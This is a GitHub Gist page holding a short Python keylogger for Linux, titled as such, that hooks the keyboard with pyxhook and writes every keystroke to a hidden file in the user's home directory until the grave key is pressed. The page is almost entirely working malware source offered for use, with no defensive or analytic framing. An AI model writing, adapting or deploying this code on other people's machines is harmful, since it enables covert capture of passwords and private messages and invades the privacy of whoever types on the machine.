-
-
Save tejastank/820c34d7a231545388afd4d2362c1fa1 to your computer and use it in GitHub Desktop.
keylogger
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
""" | |
Based on script by Aman Deep | |
A simple keylogger witten in python for linux platform | |
All keystrokes are recorded in a log file. | |
The program terminates when grave key(`) is pressed | |
grave key is found below Esc key | |
""" | |
import os | |
import pyxhook | |
#hidden key log file | |
log_file=os.path.join(os.environ['HOME'], '.key.log') | |
#called on key press | |
def OnKeyPress(event): | |
fob=open(log_file,'a') | |
fob.write(event.Key) | |
fob.write('\n') | |
if event.Ascii==96: #96 is the ascii value of the grave key (`) | |
fob.close() | |
new_hook.cancel() | |
#instantiate HookManager class | |
new_hook=pyxhook.HookManager() | |
#listen to all keystrokes | |
new_hook.KeyDown=OnKeyPress | |
#hook the keyboard | |
new_hook.HookKeyboard() | |
#start the session | |
new_hook.start() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment